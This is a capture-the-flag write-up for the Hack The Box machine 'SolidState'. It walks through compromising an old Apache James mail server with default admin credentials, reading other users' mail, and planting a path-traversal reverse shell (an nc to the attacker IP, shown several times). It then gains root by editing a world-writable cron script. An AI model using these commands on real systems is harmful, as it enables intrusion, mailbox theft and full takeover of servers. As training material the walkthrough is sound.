This is my second write-up for a machine from Hack The Box. It is again a rather easy one but still lots of fun. Lots of opportunities to do some oldschool telnet work on email servers. It starts with port scanning and illustrates the importance of scanning also more unpopular ports. After finding the email server with default credentials, you must use your administrator power to get code execution. Once on the box, all you have to do is finding an insecure cron job and you are root.
Again, some statistics for this machine first. As it is an easy box, many people got the user flag and a considerable part managed the privesc too.
Enumeration
Port scan
Given the IP, we start with a basic nmap scan:
root@kali ~ $ nmap -sV -sC -oN base.log 10.10.10.51
Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-23 15:45 EST
Nmap scan report for 10.10.10.51
Host is up (0.050s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
| 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
| 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_ 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (EdDSA)
25/tcp open smtp JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.15.130 [10.10.15.130]),
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Home - Solid State Security
110/tcp open pop3 JAMES pop3d 2.3.2
119/tcp open nntp JAMES nntpd (posting ok)
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel
We basically find a website, an SSH server and Apache James, which is an email solution. While the current version of James is 3.0 and it is under active development, this box runs 2.3.2 which is very old. If you would read the docs, you would discover that is offers an admin interface called RemoteManager. By default, it runs on port 4555, which does not show up in the list above. A full port scan though reveals this port too:
root@kali ~ $ nmap -p- -oN full.log 10.10.10.51
Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-23 15:46 EST
Nmap scan report for 10.10.10.51
Host is up (0.058s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
110/tcp open pop3
119/tcp open nntp
4555/tcp open rsip
Nmap done: 1 IP address (1 host up) scanned in 27.61 seconds
Lesson learned: don’t just stick with Nmap’s default ports every time. A full scan may show important services.
Website
I typically check out websites first to see what’s there. This one is quite useless though. It is merely a static page with a single contact form.
You could run sqlmap on it but would not find anything. Let’s focus instead to the email server.
James email server
As an email server, James opens up ports 25 and 110 for sending and receving emails. There is one odd port 119 offereing something called nntpd. Asking Google about it, you get to a wiki page about the Network News Transfer Protocol. It is a protocol for Usenet news articles. Finally, we have the telet admin interface on port 4555.
From the Nmap scan above, we know SolidState run’s an outdated version of it (2.3.2). Checking out exploitdb, we find an exploit for exaclty that version It sounds interesting since it prommises code execution. You can check out the details of the exploit here.
root@kali ~ $ searchsploit james
------------------------------------------------------------------------ ----------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------------------------------------ ----------------------------------
Apache James 2.2 - SMTP Denial of Service | exploits/multiple/dos/27915.pl
Apache James Server 2.3.2 - Remote Command Execution | exploits/linux/remote/35513.py
WheresJames Webcam Publisher Beta 2.0.0014 - Remote Buffer Overflow | exploits/windows/remote/944.c
------------------------------------------------------------------------ ----------------------------------
The exploit starts with connecting to 4555 using root
/ root
as the credentials.
These seem to be the default user.
Cross-checking this article about installing James, we find the same credentials too.
Funny side note: the blog is from Nov 2016.
There actually are people who still install this piece of software in the real world.
Let’s log in:
root@kali ~ $ nc 10.10.10.51 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
help
Currently implemented commands:
help display this help
listusers display existing accounts
countusers display the number of existing accounts
adduser [username] [password] add a new user
verify [username] verify if specified user exist
deluser [username] delete existing user
setpassword [username] [password] sets a user's password
setalias [user] [alias] locally forwards all email for 'user' to 'alias'
showalias [username] shows a user's current email alias
unsetalias [user] unsets an alias for 'user'
setforwarding [username] [emailaddress] forwards a user's email to another email address
showforwarding [username] shows a user's current email forwarding
unsetforwarding [username] removes a forward
user [repositoryname] change to another user repository
shutdown kills the current JVM (convenient when James is run as a daemon)
quit close connection
listusers
Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin
Looks like we could do some serious administration here.
Exploiting
Now, we could go directly for the exploit mentioned above. But reading it carefully, you will see it needs someone to login to the system. Unless the box runs some scripts logging in as a user every few minutes, the exploit won’t help us. Let’s try something simpler for now and just read the emails of different users.
James - reading emails
To read the mail, reset all the passwords via the setpassword [username] [password]
command in the admin tool.
For example, we can do setpassword john newpasswd
, which James confirms with Password for john reset
.
Then, we connect to port 110 (POP3), log into each user, and fetch the mails.
For example, this is how to do it for john.
Be sure to use telnet, not nc, which did not retrieve anything after the welcome banner in my case.
For a reference of POP3 protocol commands, chech this out.
root@kali ~ $ telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
USER john
+OK
PASS newpassword
+OK Welcome john
LIST
+OK 1 743
1 743
.
RETR 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <9564574.1.1503422198108.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: john@localhost
Received: from 192.168.11.142 ([192.168.11.142])
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
for <john@localhost>;
Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
From: mailadmin@localhost
Subject: New Hires access
John,
Can you please restrict mindy's access until she gets read on to the program. Also make sure that you send her a tempory password to login to her accounts.
Thank you in advance.
Respectfully,
James
.
QUIT
+OK Apache James POP3 Server signing off.
Connection closed by foreign host.
Aha, so this is the mailadmin writing john a message to send a password to Mindy. If you check out Mindy’s mails, you find it:
From: mailadmin@localhost
Subject: Your Access
Dear Mindy,
Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.
username: mindy
pass: P@55W0rd1!2@
Respectfully,
James
The mail above is actually from mailadmin, not from john.
I suspect that was a little mistake.
Anyways, try to SSH into SolidState with mindy
/ P@55W0rd1!2@
and you get in.
This is all you have to do to get the user.txt
flag.
root@kali ~ $ ssh [email protected]
[email protected]'s password:
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 22 14:00:02 2017 from 192.168.11.142
mindy@solidstate:~$ id
-rbash: id: command not found
mindy@solidstate:~$ ls
bin user.txt
mindy@solidstate:~$ cat user.txt
4h56... <- flag
Don’t get too excited about the shell access though since all you get is a restricted shell. Fortunately, it is easy though to circumvent it. Apparently, you can just execute commands through SSH directly and they will not go through the restricted shell. Execute bash this way and you get a real shell, albeit one without a real tty:
root@kali ~ $ ssh [email protected] bash
[email protected]'s password:
id
uid=1001(mindy) gid=1001(mindy) groups=1001(mindy)
This was a little too easy. It is a lot more fun to use the James exploit to bypass the restricted shell. Let’s do that next.
Exploiting James
The exploit works by creating a user with name ../../../../../../../../etc/bash_completion.d
through the James admin interface.
James will then create a file for this user to store its mail.
The file’s directory will be named after the user and due to improper escaping, it will be /etc/bash_completion.d.
Then you can send an email to that user.
It’s text is put into a file inside that directory.
Consequently, the next time a user logs into the system, your email will be executed.
First, we log into the admin interface and create the user:
root@kali ~ $ nc 10.10.10.51 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
adduser ../../../../../../../../etc/bash_completion.d password
User ../../../../../../../../etc/bash_completion.d added
quit
Bye
Next, we send an email with a reverse shell payload. Note the single quotes enclosing everything from the start of the MAIL FROM address to the beginning of the payload. They make sure the rest of the mail does not interfere with the payload. More details and examples how to use SMTP via telnet are in the Mailtrap blog or here. Be sure to use EHLO, not HELO, to say hello.
root@kali ~ $ telnet 10.10.10.51 25
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
220 solidstate SMTP Server (JAMES SMTP Server 2.3.2) ready Sun, 28 Jan 2018 17:42:35 -0500 (EST)
EHLO someone@mydomain
250-solidstate Hello someone@mydomain (10.10.15.130 [10.10.15.130])
250-PIPELINING
250 ENHANCEDSTATUSCODES
MAIL FROM: <'@mydomain>
250 2.1.0 Sender <'@mydomain> OK
RCPT TO: <../../../../../../../../etc/bash_completion.d>
250 2.1.5 Recipient <../../../../../../../../etc/bash_completion.d@localhost> OK
DATA
354 Ok Send data ending with <CRLF>.<CRLF>
FROM: someone@mydomain
'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.130 1234 >/tmp/f
.
250 2.6.0 Message received
quit
221 2.0.0 solidstate Service closing transmission channel
Connection closed by foreign host.
Now run nc -lnvp 1234
locally and then ssh [email protected]
to trigger the payload.
You should catch the shell!
On the host, you can then inspect the file James created to understand how it worked.
You should also consider deleting it to cover your tracks and to not spoil the experience for others doing the box ;)
cat /etc/bash_completion.d/4D61696C313531373137393430333938342D30.Repository.FileStreamStore
Return-Path: <'@mydomain>
Message-ID: <570018.0.1517179404013.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: ../../../../../../../../etc/bash_completion.d@localhost
Received: from 10.10.15.130 ([10.10.15.130])
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 597
for <../../../../../../../../etc/bash_completion.d@localhost>;
Sun, 28 Jan 2018 17:43:23 -0500 (EST)
Date: Sun, 28 Jan 2018 17:43:23 -0500 (EST)
FROM: someone@mydomain
'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.130 1234 >/tmp/f
Privesc
The privesc is a pretty easy one. Just look for files owned by root that we could write to. To reduce false positives, only look for files (not symlinks) and exclude proc, which is full of root-owned writable files.
find / -user root -perm -002 -type f -not -path "/proc/*" 2>/dev/null
/opt/tmp.py
/sys/fs/cgroup/memory/cgroup.event_control
The file /opt/tmp/py
looks interesting.
Have a look at it.
cat /opt/tmp.py
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /tmp/* ')
except:
sys.exit()
A simple script that just deletes everything in the tmp directory.
If it is owned by root, maybe root is calling it sometimes.
Inspecting the cronjob configs in /etc
, we can’t find any evidence the script runs.
Nevertheless, it could also be configured in root’s private cronfile /var/spool/cron/crontabs/root
.
To find it out, do a simpe test by changing the command to echo "hi from root" > /dev/shm/.tmp.txt
.
If the .tmp.txt file appears, the script is run.
To be able to properly edit files on the host with vi, you first need a real shell though. The method is described in detail here. Here comes the short version:
- On the remote machine, run
python -c 'import pty; pty.spawn("bash")'
and press CTRL-z to put the SSH session to the background. - Then run
stty -a
to print out information about your shell. Note the rows and columns (say they are 40 and 160 respectively). - Now run
stty raw -echo
to put your shell into raw mode, thenfg
to get back into the SSH session, and finally reset to reset the shell. It you get asked for the type of the terminal, usexterm-256color
. - After that, run
stty rows 40 columns 160
to specify the correct size. You should now have a fully working shell, in particular vi should work.
With the new command put in place of the old one, we cannot observe /dev/shm
to see if the file appears in it.
And indeed, after a few minutes, it will appear.
As you can see, it is owned by root, meaning that root ran the script.
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ls -lah /dev/shm/
total 4.0K
drwxrwxrwt 2 root root 60 Jan 27 18:54 .
drwxr-xr-x 17 root root 3.0K Jan 27 17:19 ..
-rw-r--r-- 1 root root 13 Jan 27 18:54 .tmp.txt
Since it all works as expected, we can easily get the flag now. Change the script to execute to read the flag and put it into a new file.
#!/usr/bin/env python
import os
import sys
try:
os.system('cat /root/root.txt > /dev/shm/flag.txt')
except:
sys.exit()
To not just print the flag but get real access, you can use for example either of the following lines:
echo root:password | /usr/sbin/chpasswd && echo "done" > /dev/shm/done.txt
: changes root password to ‘password’. You can log in afterwards withsu
from your current SSH session.rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.130 1234 >/tmp/f
: get a new reverse shell. Catch withnc -lnvp 1234
localcally.
Once root, you can see that it is indeed root’s crontab that runs the script every three minutes:
root@solidstate:/dev/shm# cat /var/spool/cron/crontabs/root
# DO NOT EDIT THIS FILE - edit the master and reinstall.
[...]
# m h dom mon dow command
*/3 * * * * python /opt/tmp.py
Links
Other write-ups for this box that I know of are the one by ELijah Seymour, which contains a detailed walkthrough for the James exploit. There is also one by Trevor Steen who puts the Python pty code directly into the James exploit. It is a nice idea since every SSH login should directly give you a real shell then. Finally, check out the video walkthrough from ippsec, which is very nice to pick up the basic workflows.